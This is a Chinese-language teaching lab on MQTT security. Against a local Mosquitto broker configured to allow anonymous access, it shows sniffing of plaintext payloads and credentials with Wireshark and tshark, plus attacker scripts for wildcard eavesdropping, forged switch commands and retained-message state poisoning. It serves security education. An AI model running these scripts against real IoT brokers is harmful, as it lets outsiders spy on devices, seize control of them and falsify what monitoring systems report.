简介:面向物联网安全学习者的MQTT协议消息捕捉与设备控制实验文档,适合网络空间安全、物联网工程等专业学生及安全从业人员。文档以树莓派模拟智能灯泡为实验对象,系统介绍MQTT发布/订阅模式、代理与客户端交互机制,并针对默认明文传输、重放攻击等安全风险展开实操分析。资源包共1个docx文档,容量约580KB,内容包含mosquitto部署、mosquitto_sub/mosquitto_pub命令使用、Wireshark抓包解析MQTT流量、移动端MQTT调试工具伪装服务器并重放控制指令等完整流程,既有协议原理讲解,也有分步操作命令与验证方法,便于按手册逐项复现。目前已有96人参与学习,适用于希望掌握物联网通信协议安全分析、理解设备控制攻击链并制定防御策略的读者。
1. 实验核心认知与目标:看清物联网消息的裸奔与失控
在没有客户端身份校验、没有主题权限隔离、没有传输加密的 MQTT 部署里,任意一台能访问 broker 的机器都能做两件危险的事:订阅一个无人看管的 topic 窃听传感器状态,或者向控制 topic 发布一条伪造指令让设备执行动作。实验室里这套“基于 MQTT 协议消息捕捉与设备控制实验”的本质,就是把这套攻击路径亲手走一遍,然后反向理解防御该落在哪一层。它解决的真实问题是:物联网设备大量使用 MQTT 做轻量通信时,消息的机密性、完整性和来源可信度通常是三个洞,而洞往往不在协议本身,而在部署配置上。实验适合正在学物联网安全、或者想从协议层面理解设备被控制原理的人,我按自己会做的方案把它们拆成可复现的验证步骤。
2. 前置理论拆解:MQTT 安全模型与实验环境搭建的边界条件
开始抓包之前,先得明白这次实验里 MQTT 的安全风险到底分布在哪几个面上,因为后边的消息捕捉和设备控制操作全部是围绕这些面展开的。MQTT 协议本身是一套发布/订阅模型,核心组件就三样:broker、publisher、subscriber。客户端连上 broker 之后,靠 topic 作为消息路由的地址,靠 QoS 决定消息投递的可靠性等级,靠 retain 标志决定这条消息要不要被 broker 缓存给后来的订阅者。安全研究员关注的是 broker 对外暴露的端口、topic 的可见范围、连接时是否要求身份凭证,以及传输层是否加密。大部分实验环境里 broker 用默认配置启动时,1883 端口明文监听、允许匿名连接、topic 无任何 ACL 限制,这三个默认值加在一起就是一条可以走进设备内部的路。
实验实施前,我习惯先把环境画成一个最小可信边界。broker 用一个独立的容器或者轻量虚拟机跑,客户端用一个 Python 脚本模拟温湿度传感器定期上报,攻击机就用本机,Wireshark 抓本机 loopback 或 broker 所在网卡的流量。这样画边界的好处是,后边做消息捕捉时,要过滤的目标流量范围非常清楚,不会把其他无关流量混进分析结果里。一个常见误解是认为 MQTT 消息走的是长连接,抓包困难,实际上 broker 和客户端之间的 MQTT 控制报文是直接承载在 TCP 载荷里的,只要抓到 TCP 连接建立后的数据段,就能完整还原 CONNECT、SUBSCRIBE、PUBLISH 这些报文结构。
2.1 MQTT 协议层的安全短板对照
实验里要验证的攻击路径全部来自这一层的特性。我习惯列一张表,把协议特征和它对应的安全风险一一对照,直接决定后边实验脚本怎么写。
| 协议特性 | 我们的实验关注点 | 对应的安全风险 |
|---|---|---|
| 1883 端口明文传输 | 抓包能看到完整 payload | 消息内容窃听,敏感数据裸奔 |
| 匿名连接允许 | 客户端不需要用户名密码即可连上 broker | 任何人都能接入消息总线 |
| topic 通配符订阅 +/#/ | 一次订阅拿到所有消息 | 消息泄露面扩大 |
| retain 消息缓存 | broker 保留最后一条消息给新订阅者 | 新连接者第一时间读到设备状态 |
| QoS 重传机制 | QoS1/QoS2 下会有重复报文 | 攻击者利用重放逻辑干扰状态判断 |
这张表是本实验的操作地图,后面每一步都能在表里找到对应位置。不只是实验室里适用,真实物联网系统做安全评估时,第一步也是照着这张表去检查 broker 的配置。
2.2 实验环境清单与 broker 的快速拉起命令
环境准备遵循“最少依赖”原则。broker 选用 Mosquitto,因为它的配置文件是纯文本,能一行一行解释清楚每个安全参数的作用,比黑盒的云 broker 更利于观察。客户端库用 paho-mqtt,Python 环境下两条命令就能起来。下面是 broker 的启动命令,我加了详细的配置说明。
bash
1. 安装 mosquitto(macOS 用 brew,Debian/Ubuntu 用 apt。实验机已装则跳过)
sudo apt install -y mosquitto mosquitto-clients
2. 写一个专门用于本实验的配置文件,不用系统默认的 /etc/mosquitto/mosquitto.conf
mkdir -p ~/iot-security-lab && cd ~/iot-security-lab cat > mosquitto-lab.conf <<'EOF'
监听 1883,允许当前网段的连接;不要监听 localhost,否则无法模拟远程攻击
listener 1883 0.0.0.0
实验初期故意打开匿名访问,用于验证“无凭证即可接入”的风险
allow_anonymous true
关闭持久化,避免上一次实验的 retain 消息干扰结果
persistence false EOF
3. 启动 broker(验证配置是否正确、服务是否成功监听指定端口)
mosquitto -c mosquitto-lab.conf -d sleep 2 ss -lntp | grep 1883
逻辑说明:监听地址写成 0.0.0.0,是为了让本机以外的虚拟机或另一个容器也能连到这个 broker,模拟攻击者从“外部网络”触达设备的场景。allow_anonymous true 是复现安全风险的核心开关,如果这里设成 false,后面的设备控制实验连连接都建立不了,就看不到消息层面的攻击了。配置里特意关掉 persistence,是因为 retain 消息和持久会话会把上一次实验的状态带进来,干扰抓包分析和控制效果验证,实验环境保持干净是一个容易被忽略但很重要的原则。
参数解读:listener 1883 0.0.0.0 指定监听端口和网卡地址;allow_anonymous true 表示 broker 不校验客户端身份;persistence false 让 broker 不把 session 和消息落盘。这三项共同构成了一个“最脆弱但最适合做安全实验”的现场环境。生产环境里这三项的值都会反过来设,但那不是这次实验的目标。
2.3 Python 客户端与抓包工具的联动方式
broker 跑起来之后,需要一个后台线程持续上报设备状态,模拟真实传感器的遥测数据。在安全实验里,这个客户端既是“合法设备”,也是后面被攻击者冒充的对象。我写的模拟客户端代码如下。
python import paho.mqtt.client as mqtt import time import json import random import threading
BROKER_HOST = "127.0.0.1" BROKER_PORT = 1883 TOPIC_STATUS = "devices/device01/status" TOPIC_CONTROL = "devices/device01/control"
def on_connect(client, userdata, flags, rc): if rc == 0: print(f"[合法设备] 已连上 broker {BROKER_HOST}:{BROKER_PORT}") # 合法设备只订阅控制主题,等待服务器下发指令 client.subscribe(TOPIC_CONTROL, qos=1) else: print(f"[合法设备] 连接失败,rc={rc}")
def report_status(client): status = { "device": "device01", "temperature": round(20 + random.uniform(0, 10), 2), "switch": "on", "ts": int(time.time()) } client.publish(TOPIC_STATUS, json.dumps(status), qos=1) print(f"[合法设备] 上报状态: {status}")
def run(): client = mqtt.Client() client.on_connect = on_connect client.connect(BROKER_HOST, BROKER_PORT, keepalive=60) client.loop_start()
while True: report_status(client) time.sleep(5)ifname== "main": threading.Thread(target=run, daemon=True).start() try: alive = threading.Event() alive.wait() except KeyboardInterrupt: pass
逻辑说明:合法设备连接成功后在 on_connect 回调里订阅控制 topic,表示这个设备愿意接收来自云平台的指令。上报状态用定时循环实现,每五秒向 status topic 发一条 JSON 格式的状态消息。这里的 json.dumps 序列化后的 payload 就是后面抓包时要观察的明文内容。把整个逻辑跑在一个 daemon 线程里,是为了同时开着 Wireshark 抓包,实现边运行边捕捉的联动效果,后续的攻击脚本也在这个上下文里执行。
参数解读:keepalive=60 表示客户端每 60 秒发一次 PINGREQ 维持会话;QoS=1 意味着 PUBLISH 报文需要 broker 回 PUBACK,这样才能在 Wireshark 里同时看到 PUBLISH 和 PUBACK 两条消息,便于对比清点,更利于讲清楚“消息捕捉”这一步到底捉到了什么。
3. 消息捕捉实验:从 Wireshark 过滤语法到还原完整 MQTT 会话
消息捕捉是本实验的“眼睛”。如果抓不到消息,后面所有分析都是空中楼阁。这一步要解决的实操问题是:WiFi 网卡混杂模式、多网卡环境、TLS 加密流量这三类客观障碍下,如何把 MQTT 报文从一堆背景噪声里干净地挑出来。我一般把抓包分为两个层次:链路层找 TCP 流,协议层解析 MQTT 报文结构。
3.1 最小可用的 Wireshark 过滤器组合
Wireshark 启动后,选择 broker 监听的网卡。如果 broker 和攻击机跑在同一台机器上,抓 lo(loopback)接口,如果 broker 在另一台虚拟机里,就抓连接那块虚拟网卡。这里有一个最简单的过滤器:直接在 filter 栏输入mqtt回车,Wireshark 就会把携带 MQTT 控制报文的 TCP 段标记出来。但更精确的做法是先用tcp.port == 1883拿到所有与 broker 的 TCP 通信,再用mqtt过滤出协议解析成功的部分。
bash
常见过滤组合
tcp.port == 1883 && mqtt # 只看解析为 MQTT 的包,最常用 mqtt.msgtype == 3 # 只看 PUBLISH 报文(3 是 PUBLISH 类型) mqtt.topic contains "device" # 只看 topic 里包含 device 的报文 mqtt.publish.payload contains "temperature" # 截获 payload 带 temperature 的消息
参数说明:mqtt.msgtype里的数字是 MQTT 控制报文类型,CONNECT=1,CONNACK=2,PUBLISH=3,SUBSCRIBE=8,这些数字在过滤和统计时非常有价值。tcp.port==1883是第一道粗筛,只用mqtt可能会漏掉分片导致的“未识别”报文,两种过滤器叠加能保证不丢关键包。实验里,当你看见一个完整的顺序——CONNECT、CONNACK、SUBSCRIBE、SUBACK、PUBLISH、PUBACK——就说明消息捕捉链路已全部打通。
3.2 跟随 TCP 流还原完整会话内容
在 Wireshark 里右键任一条 MQTT 报文,选择“追踪流 → TCP 流”,会弹出完整会话内容。这是消息捕捉实验里最直观的一步:你能清楚看到客户端先发什么、broker 回什么、设备在往哪个 topic 推什么内容。这个视图里,看不到用户名密码也好、明文 payload 也好,全都直接暴露。
对于后续要写报告的场景,我更推荐用 tshark 导出干净的结果。tshark 是 Wireshark 的命令行版本,适合批量分析和自动提取。
bash
抓取 .pcap 后,用 tshark 提取 topic 和 payload
tshark -r mqtt_capture.pcap -Y "mqtt.topic" -T fields
-e frame.number -e mqtt.topic -e mqtt.publish.payload
输出示例:
12 devices/device01/status {"device": "device01", "temperature": 24.13, "switch": "on", "ts": 1719984000}
逻辑说明:-Y后面跟着显示过滤器表达式,-T fields指定输出格式为字段列表,-e声明要提取哪些字段。这样一条命令就能把整份抓包里的消息主题、payload 变化、出现顺序完整拉取出来,直接就能看出消息里的温度值从 24.13 变成 31.05 的完整时序。这个能力在真实运维里同样有用:排查“为什么设备离线”或者“这条指令到没到设备”时,不用开图形界面,一条 tshark 命令就能定位。
参数解读:frame.number是 pcap 中报文的序号,可以用来快速定位和原始抓包的对应关系;payload默认按字节数组输出,如果加了-E occurrence=f可以只取第一条出现的字段。实验中每一次改变设备状态后,重新执行一次这条命令,对比前后两屏输出,消息捕捉工具链就算完全掌握了。
3.3 明文凭据与敏感字段的检索技巧
捕捉到的消息不止包含 payload,有些客户端会在 CONNECT 报文里带上 username 和 password 字段,如果实验环境里配置了账号密码,这里就是一个直接可用的嗅探证据。在 Wireshark 里的操作方法为:
bash
快速找 CONNECT 报文及其携带的身份信息
tshark -r mqtt_capture.pcap -Y "mqtt.type == connect"
-e mqtt.username -e mqtt.possiblepasswd
找所有包含 password 字段的报文
tshark -r mqtt_capture.pcap -Y "mqtt.proto.password"
需要提醒的一个要点是:MQTT 协议本身不加密任何字段,用户名密码是 base64 编码传输还是明文传输,完全取决于客户端库和 broker 配置,抓包工具都能直接提取。这也解释了一个常被搞混的问题——MQTT 的安全问题主要不是协议设计缺陷,而是默认不加密、不鉴权,导致部署者以为“没人会抓我内网流量”就裸奔运行。
4. 设备控制实验:从订阅窃听到主动下发控制指令
消息捕捉解决“看得到”的问题,设备控制实验解决“控得住”的问题。这一步我要明确声明实验边界:下面的操作对象是本实验搭建的本地模拟设备,不是真实公网设备,操作方法用于安全教学和自查,不要对着未授权的系统复现。在这个前提下,控制实验的核心路径是三步:用通配符订阅拿到设备状态,解析状态字段,然后向控制主题发布伪造指令改变设备执行逻辑。
4.1 攻击者视角的订阅脚本:通配符主题的泄露扩大
合法设备只订阅了devices/device01/control这个唯一主题,但 MQTT 协议允许客户端用通配符订阅一批主题。devices/+/control能订阅所有设备控制通道,devices/#能订阅所有主题。这就是一个天然的消息捕捉扩展手段。攻击者脚本如下。
python import paho.mqtt.client as mqtt
BROKER_HOST = "127.0.0.1" BROKER_PORT = 1883
def on_message(client, userdata, msg): print(f"[攻击者] 捕获 topic={msg.topic}, qos={msg.qos}") print(f"[攻击者] payload={msg.payload.decode()}")
client = mqtt.Client() client.on_message = on_message client.connect(BROKER_HOST, BROKER_PORT, keepalive=30) client.subscribe("devices/#", qos=1) client.loop_forever()
逻辑说明:subscribe("devices/#")是本实验的关键动作。#是 MQTT 的多层通配符,能匹配devices下所有层级的所有主题。设备状态和控制指令都是在这些主题下流转的,所以这一条订阅就把整个设备的通信内容全部拿到手了。前面的合法设备代码里订阅的主题是完全确定的,而这段代码故意不做任何过滤,这就是实验要展示的配置缺陷——broker 没有任何 ACL 规则限制通配符订阅。如果 ACL 配了但没配好,常见的失误是只限制了主题前缀,没限制层级通配符,一样能被绕过去。
4.2 发布伪造控制指令:切换设备开关状态
拿到设备状态之后,攻击者知道了两个关键事实:设备 ID 是 device01,状态里有 switch 字段。接下来就是向控制主题发指令。这里要模仿设备厂商云平台的指令格式,不同的设备控制格式不同,但实验里我们自己定义了 JSON 的{"switch": "off"}这个协议,所以攻击指令最直接的就是伪造一条控制 payload。
python import paho.mqtt.client as mqtt import json import time
BROKER_HOST = "127.0.0.1" BROKER_PORT = 1883 CONTROL_TOPIC = "devices/device01/control"
client = mqtt.Client() client.connect(BROKER_HOST, BROKER_PORT, keepalive=30)
伪造一条与平台下发格式完全一致的控制指令
fake_cmd = { "cmd": "switch", "value": "off", "ts": int(time.time()), "source": "cloud" } client.publish(CONTROL_TOPIC, json.dumps(fake_cmd), qos=1) print(f"[攻击者] 已向 {CONTROL_TOPIC} 发布伪造指令: {fake_cmd}")
client.disconnect()
逻辑说明:publish的目标主题和控制指令格式与合法设备订阅的内容对应。合法设备收到这条消息后,会认为它来自云平台,执行开关断开动作。在实验里,我们可以在合法设备脚本的 on_message 回调里加一个 print,就能看见设备收到了这条指令。这就是“伪造指令控制设备”的完整链路:从订阅窃听出发,到指令注入结束。实际操作中攻击者一般不主动断开连接,而是保持会话,持续监听设备的后续状态,观察自己的指令是否生效。
参数解读:source: "cloud"字段是模仿可信来源的标签。在很多真实设备固件里,设备端对控制指令的合法性判断只看 payload 格式,而不验证消息签名或消息来源。所以加这个字段不是多余的,它直接击穿了常见的“轻量设备固件不做身份验证”的软肋。
4.3 在合法设备端观察指令到达与状态改变
要验证控制是否生效,不能只在攻击者这边看,还要回到合法设备端观察。在合法设备脚本中把 on_message 回调完善一下,加上如下内容。
python def on_control_message(client, userdata, msg): try: cmd = json.loads(msg.payload.decode()) print(f"[合法设备] 收到控制指令: {cmd}") if cmd.get("cmd") == "switch": print(f"[合法设备] 执行动作: 开关切换到 {cmd.get('value')}") except Exception as e: print(f"[合法设备] 解析指令失败: {e}")
加上这段之后,合法设备每收到一条指令都会打印“执行动作”。实验时可以引导观察一个现象:攻击者脚本发完指令后,合法设备控制台里出现“开关切换到 off”,而设备上报的状态里 switch 字段立即从 on 变为 off。这意味着控制链路已经完整走通,消息捕捉加上指令注入加状态回读,构成了一个完整攻击闭环。设备控制达到这个程度,意味着攻击者对设备的控制能力等同于其云平台下发能力,区别只在于攻击者没有经过任何鉴权。
5. 增强实验效果:保留消息投毒、统计特征与防御侧验证
到这里,基础的消息捕捉和设备控制实验已经完成。最后一章我给出两个方向上可直接扩展的实操技巧,一个从攻击侧的隐蔽性出发,一个从防御侧的审计和验证出发,用来把实验报告写厚,也把 MQTT 相关的安全能力真正留在自己手里。
5.1 用 retain 消息实现离线状态投毒
本实验的第一步配置里特意关掉了 persistenc e,目的是让基线实验结果不被脏数据干扰。但真实的攻击场景中,retain 消息是控制离线状态下设备行为的良好载体。原理是 broker 会保留发布到带 retain 标志的主题的最后一条消息,后续任何客户端订阅该主题时,第一条收到的就是这条保留消息。在实验环境里加入一段投毒脚本,可以把设备状态改成攻击者想要的样子。
python import paho.mqtt.client as mqtt import json import time
BROKER_HOST = "127.0.0.1" BROKER_PORT = 1883 STATUS_TOPIC = "devices/device01/status"
client = mqtt.Client() client.connect(BROKER_HOST, BROKER_PORT, keepalive=30)
poison = { "device": "device01", "temperature": 86.5, # 严重超标的假温度 "switch": "on", "ts": int(time.time()), "attacker_flag": "retain_poison" } client.publish(STATUS_TOPIC, json.dumps(poison), qos=1, retain=True) print(f"[攻击者] 向 {STATUS_TOPIC} 发布 retained 毒化消息") client.disconnect()
逻辑说明:发布时参数retain=True是整段代码的关键,broker 收到这条消息后不只是转发给当前订阅者,还会存储在主题下。新的订阅者一上线就先收到这条被篡改的状态,然后才会收到后续实时上报的消息。这个技巧在实际物联网攻击里很常见:让监控平台看到的设备状态是攻击者伪造的,掩盖正在进行的其他攻击动作。实验中我们可以在合法设备重启后重新订阅,观察它收到的第一条消息的来源。
5.2 与行为审计日志做横向对比
把实验数据和“上网行为管理审计”这类设备侧的审计视角结合起来,从数据可用性层面做一个简单的验证手法。关注取证或者做安全报告的人,可以把 Wireshark 导出的报文时间线,与设备端行为审计日志的时间线做差值计算,验证消息到达的延迟范围。在真实物联网环境里,这条链路对应的是审计平台从旁路流量里还原 MQTT 会话,提取设备动作记录的能力。
bash
从 tshark 导出抓包时间戳与 topic、payload 对照表
tshark -r mqtt_capture.pcap -Y "mqtt.msgtype == 3"
-E separator="|"
-T fields -e frame.time_epoch -e mqtt.topic -e mqtt.publish.payload
这行命令会把每次设备上报与控制指令的时间戳、主题、内容排列成一行一行的记录,可以直接进 Excel 或导入审计分析脚本。时间戳使用秒级的 epoch 值,方便与设备端日志系统的毫秒级时间戳做差值对比。这也是设备控制实验里验证“指令到达时延”和“状态上报周期”最轻量的手段。做审计时,如果平台侧日志的时间差超过 MQTT 的 keepalive 周期,就要考虑网络中是否存在消息被缓冲或篡改的可能,这正是把实验技术迁移到真实运维场景的一个具体结合点。
本文还有配套的精品资源,点击获取